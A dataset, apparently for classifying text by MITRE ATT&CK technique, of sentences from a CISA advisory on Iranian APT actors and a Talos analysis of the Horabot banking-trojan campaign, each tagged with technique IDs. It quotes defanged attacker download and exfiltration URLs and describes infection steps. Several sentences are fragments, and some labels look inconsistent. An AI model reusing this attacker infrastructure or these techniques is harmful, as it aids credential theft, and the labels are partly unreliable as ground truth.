{"sentence": "[DS0017]. Credentials from Password Stores T1555 The actors used Mimikatz to harvest credentials.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Organizations may consider weighing the risk of storing credentials in password stores and web browsers.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for processes being accessed that may search for common password storage locations to obtain user credentials [DS0009].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments that may search for common password storage locations to obtain user credentials [DS0017].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors executed a PowerShell command on the AD to obtain a list of all machines attached to the domain.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession [DS0009]. System Network Configuration Discovery: Internet Connection Discovery T1016.001 The actors’ malware tests for internet connectivity by pinging 8.8.8.8. Mitigation: Monitor executed commands, arguments [DS0017] and executed processes (e.g., tracert or ping)", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0009] that may check for internet connectivity on compromised systems.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Lateral Movement Technique Title ID Use Recommendations Remote Services:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Remote Desktop Protocol T1021.001 The actors used RDP to move laterally to multiple hosts on the network.", "labels": ["T1021.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Use MFA for remote logins [M1032].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Disable the RDP service if it is unnecessary [M1042].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Do not leave RDP accessible from the internet.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Enable firewall rules to block RDP traffic between network security zones within a network [M1030].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Consider removing the local Administrators group from the list of groups allowed to log in through RDP", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1026].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP [DS0028]. Command and Control Technique Title ID Use Recommendations Proxy T1090 The actors used Ngrok to proxy RDP connections and to perform command and control.", "labels": ["T1021.001", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1037]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure)", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0029]. Ingress Tool Transfer T1105", "labels": ["T1105"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "INCIDENT RESPONSE If suspected initial access or compromise is detected based on IOCs or TTPs in this CSA, CISA encourages organizations to assume lateral movement by threat actors and investigate connected systems and the DC.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA recommends organizations apply the following steps before applying any mitigations, including patching.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Immediately isolate affected systems.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Consider soliciting support from a third-party incident response organization that can provide subject matter expertise to ensure the actor is eradicated from the network and to avoid residual issues that could enable follow-on exploitation.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office, or", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. MitigationsCISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization's cybersecurity posture on the basis of threat actor behaviors.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Follow the pro-active incident response procedures outlined above prior to applying updates.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note: Until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Implement temporary solutions using an account with administrative privileges.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Prior to implementing any temporary solution, ensure appropriate backups have been completed.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Verify successful implementation of mitigations by executing the vendor supplied script without parameters to ensure that no vulnerabilities remain.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See KB87073 for details.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services that are not essential to business operations.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Where possible, implement regularly updated web application firewalls (WAF) in front of public-facing services.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "WAFs can protect against web-based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Use best practices for identity and access management (IAM) by implementing phishing resistant multifactor authentication (MFA), enforcing use of strong passwords, regularly auditing administrator accounts and permissions, and limiting user access through the principle of least privilege.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If using Windows 10 version 1607 or Windows Server 2016 or later, monitor or disable Windows , also known as the Default System Managed Account (DSMA).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Audit domain controllers to log successful Kerberos Ticket Granting Service (TGS) requests and ensure the events are monitored for anomalous activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Enforce the principle of least privilege.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Administrator accounts should have the minimum permission necessary to complete their tasks.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ensure storage of clear text passwords in LSASS memory is disabled.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note: For Windows 8, this is enabled by default.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For more information see Microsoft Security Advisory Update to Improve Credentials Protection and Management. Consider disabling or limiting NTLM and WDigest Authentication.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Implement Credential Guard for Windows 10 and Server 2016 (refer to Microsoft: Manage Windows Defender Credential Guard for more information).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that threat actors attempt to crack.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "VALIDATE SECURITY CONTROLS", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "To get started: Select an ATT&CK technique described in this advisory (see table 1).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Align your security technologies against the technique.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Test your technologies against the technique.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Analyze your detection and prevention technologies performance.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Tune your security program, including people, processes, and technologies, based on the data generated by this process.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "References [1] MITRE ATT&CK Version 11: Software – Ngrok Revisions Initial Version: November 16, 2022", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "This product is provided subject to this Notification and this Privacy & Use policy.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Cisco Talos has observed a threat actor deploying a previously unidentified botnet program Talos is calling “Horabot,” which delivers a known banking trojan and spam tool onto victim machines in a campaign that has been ongoing since at least November 2020.The threat actor appears to be targeting Spanish-speaking users in the Americas and, based on our analysis, may be located in Brazil.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The banking trojan can collect the victim’s login credentials for various online accounts, operating system information and keystrokes.", "labels": ["T1056.001", "T1078", "T1082", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It also steals one-time security codes or soft tokens from the victim’s online banking applications.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool compromises Yahoo, Gmail and Outlook webmail accounts, enabling the threat actor to take control of those mailboxes, exfiltrate their contacts’ email addresses, and send spam emails.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "VictimologyThe attacks predominantly target users in Mexico, with a few infections in Uruguay, Brazil, Venezuela, Argentina, Guatemala and Panama.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "In analyzing the phishing emails used in the campaign, Talos identified that users in organizations across several business verticals — including accounting, construction and engineering, wholesale distributing and investment firms — have been affected.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "However, the attacker uses Horabot and the spam tool in this campaign to further propagate the attack by sending additional phishing emails to the victim’s contacts, meaning Spanish-speaking users from organizations in additional verticals are likely also affected.", "labels": ["T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "During our analysis, Talos observed that a malicious server at IP address 185[.]45[.]195[.]226 hosted the PowerShell downloader script and had an open directory that the attacker eventually disabled.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Another malicious server, 216[.]238[.]70[.]224, hosted the ZIP file containing the payloads.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The attacker also used lookalike domains in this campaign to carry out malicious activities and evade network detection.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Based on Talos’ analysis of the domain registration information for the attacker’s infrastructure, Talos assesses with high confidence that this campaign began in November 2020 and has been ongoing through 2023.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This domain name also resembled the legitimate Mexican Tax Agency domain, a tactic the attacker likely adopted to disguise malicious traffic.", "labels": ["T1036.005"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Based on our analysis of the domain registration period and the URLs associated with the four domains, they belong to the same campaign that has been ongoing since at least November 2020.Malicious domainsRegistration periodm9b4s2[.]site November 2020tributaria[.]websiteJuly", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The infection starts with an income tax-themed phishing email written in Spanish, disguising itself as a tax receipt notification and enticing users to open the attached malicious HTML file.", "labels": ["T1204.002", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Sample phishing email.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "When a victim opens the HTML file attachment, an embedded URL is launched in the victim’s browser, redirecting to another malicious HTML file from an attacker-controlled AWS EC2 instance.", "labels": ["T1027", "T1090"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The content displayed on the victim’s browser lures them to click an embedded malicious hyperlink which downloads a RAR file.", "labels": ["T1105", "T1204.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Disguised malicious web page.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The RAR file contains a batch file with a CMD extension that is executed when the victim opens the contents of the file.", "labels": ["T1059.003", "T1204.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The PowerShell downloader script will download a ZIP file that contains the payload DLLs and a few legitimate executables and DLLs.", "labels": ["T1055", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It creates Windows shortcut files configured to run the payloads in the startup folder of the victim’s machine and restarts the machine after 10 seconds.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Three-layer infection chain delivers and detonates the payloadsMalicious batch file downloads the PowerShell downloaderThe RAR file containing a malicious batch file with a .cmd extension is downloaded to the user’s machine.", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Per the instructions on the HTML page, if the user opens the CMD file, the malicious batch script executes an embedded PowerShell command to download the next-stage PowerShell script from the server and execute it on the victim’s machine.", "labels": ["T1059.003", "T1204.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "PowerShell script downloads the payloadsThe malicious PowerShell downloader script launches several processes that download the payloads and reboots the victim’s machine.", "labels": ["T1105", "T1543.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The random name generated by the sample during our analysis was “_upyqta2_J”.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script uses this random name eventually to create other folders and files.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script creates two other malicious batch scripts with the extension .cmd", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "in the folder “/Users/Public.”", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "<deskto_name>S.cmd and <desktop_name>Sy.cmd are the naming conventions used.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A snippet of the PowerShell downloader script.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script also creates three more Windows shortcut files in the victim’s machine startup folder, with the details of the target path pointing to the folders where the payloads are eventually downloaded.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The attacker used the Internet Explorer icon for the dropped shortcut files.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Talos compiled a table showing the malicious Windows shortcut files and their relative paths with the command line arguments.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Shortcut filesRelative pathCommand line arguments_upyqta2_JAA.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\_upyqta2_J\\_upyqta2_J.exeC:\\_upyqta2_J\\_upyqta2_J.ai_upyqta2_Jy.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\Public\\DESKTOP-UT9NJ4S.cmd Next, the script downloads a malicious ZIP file — “m.zip” — from a server using the URL “hxxp[://]216[.]238[.]70[.]224/20/t/e/m.zip” to the random name folder.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script renames the downloaded file with a random name and deflates its contents.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The deflated contents are renamed using random characters, then the malicious ZIP file is deleted.", "labels": ["T1070.004"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script also writes the path of the executable file, “_upyqta2_Ji7.exe”, to the class’s registry key “HKEY_CURRENT_USER\\software\\Classes\\ms-settings\\shell\\open\\command” and restarts the victim’s machine after 10 seconds using the command “shutdown /r /t", "labels": ["T1112"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "10”.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "script_upyqta2_J.exeAutoIt interpreter_upyqta2_J.iaEncrypted trojan DLL_upyqta2_J.mdatEncrypted Spam tool DLL_upyqta2_Ji7.exeKinit.exe, a legitimate executablejli.dllBanking trojan MSVCR100.dllLegitimate DLLWebView2Loader.dllLegitimate DLLMalicious shortcut files detonate the payloads after system restartAfter the PowerShell downloader reboots the victim’s machine, the malicious Windows shortcut files dropped in the Windows startup folder are run, executing the payloads used in the attack.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This section describes the behavior of each of the shortcut files._upyqta2_JAA.lnkThis link file “_upyqta2_JAA.lnk” will sideload a malicious DLL called “jli.dll,” a banking trojan, by executing “_upyqta2_Ji7.exe,” which is actually a legitimate copy of “kinit.exe” that the PowerShell downloader script drops._upyqta2_JEX.lnkThis link file executes the compiled AutoIt", "labels": ["T1027", "T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "script “_upyqta2_J.ai” by running the executable “ _upyqta2_J.exe”, which is a legitimate AutoIt interpreter.", "labels": ["T1027", "T1036.005"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then, the AutoIt script will sideload the DLL “_upyqta2_J.ia.a1” to the AutoIt interpreter process and execute the malicious function “A040822_1” with the parameter “STRUCT.”", "labels": ["T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The decrypted malicious DLL “_upyqta2_J.ia.a1” is another copy of the banking trojan with additional stealer capabilities such as keylogging, copying of clipboard data, screenshot capturing and mouse tracking.", "labels": ["T1056.001", "T1113"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A snippet of the AutoIt code _Upyqta2_J.ai_upyqta2_JAT.lnkThis link file performs the same steps as “_upyqta2_JEX.lnk” by executing the AutoIt script “_upyqta2_J.at” to decrypt “ _upyqta2_J.mdat” and create the DLL “_upyqta2_J.mdat.a1” with a spoofed extension.", "labels": ["T1140"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then, the AutoIt script sideloads the DLL to the AutoIt interpreter process and executes the malicious function “B080223_AT” with the parameter “STRUCT”.", "labels": ["T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The malicious DLL “_upyqta2_J.mdat.a1” is a spam tool with information-stealing capability.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The attacker uses the PowerShell downloader to reinfect the victim’s machine.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "link file executes another dropped batch file, “<desktop_name>Sy.cmd”, which executes a PowerShell command to download and run the Horabot “au” using the URL hxxp[://]tributaria[.]website/esp/12/151222/au/au.", "labels": ["T1059.003", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "PayloadsTalos found that the payloads employed by the attacker in this campaign are designed to steal sensitive information, evade detection and disseminate additional phishing emails to the victim’s contacts.", "labels": ["T1027", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.", "labels": ["T1056.001", "T1078"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The trojan also has anti-analysis and anti-detection capabilities to evade the sandbox and virtual environments.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool and newly identified Horabot are employed in the attack to compromise the victim’s mailboxes, steal their contact’s email addresses, and send phishing emails to the victim’s contacts.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Banking trojan targets victim’s login credentials and financial informationThe banking trojan identified in this campaign, a 32-bit Windows DLL written in the Delphi programming language and packed with Themida packer, can collect system information, credentials and user activity.", "labels": ["T1078", "T1082"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This trojan is based on a tool called Delphi_Remote_Access_PC, which is publicly available on GitHub.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It also uses similar techniques as Brazilian banking trojans reported by other security researchers at ESET and Check Point in the past.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The trojan performs surveillance on the victim’s machine by collecting system information such as hostnames, IPv4 address, operating system version, disk volume information, disk size and anti-virus software information, and gets the system’s default language.", "labels": ["T1082", "T1518.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request to the URL in the below format.hxxp[://]216[.]238[.]70[.]224/20/a/20/index[.]php?AT=<username>%20<hostname>%20<Operating system version>&MD=<Antivirus", "labels": ["T1041"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It monitors the open application windows on the victim’s desktop, overlays fake windows, and manages the pop-up windows to steal sensitive information.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "These pop-ups are stored in TFORMS in the RCData section of the executable.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Banking trojan forms in the binary resource section.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The dynamic analysis behavior in our analysis environment showed us that the database source file “login_data.sql” contains the login details and the associated URLs from the Google Chrome database files.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Database table containing the victim’s credentials.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Detects the presence of debuggers through APIs IsDebuggerPresent, and OutputDebugStringW, and checks for system breakpoints.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Creates processes enabling the debug privileges by adjusting the process token “Debug,” readings the Process Environment Block, and queries the DebugPort to check if the malware is being debugged.", "labels": ["T1518.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Checks the registry keys to detect virtual environments such as VMWare, Virtual Box, Wine, Microsoft Hyper-V or Windows Virtual PC.A spam tool acts as another payload in this campaign, enabling the attacker to take over the victim’s other email accounts and send spam emails to the contacts found within them.", "labels": ["T1012"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Upon compromising the credentials, the spam tool takes full control of the victim’s email account, creates spam messages and sends them to the email IDs found in the victim’s mailbox.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The tool also exfiltrates the email address to the C2 server using an HTTP POST request.", "labels": ["T1041"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool also showed us information-stealing capabilities such as logging keystrokes, capturing screenshots and tracking or intercepting the mouse events on the victim’s machine.", "labels": ["T1056.001", "T1113"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The decryption function decrypts the URL pointing to the attacker-controlled server.", "labels": ["T1140"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It has embedded Visual Basic code that enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox.", "labels": ["T1041", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
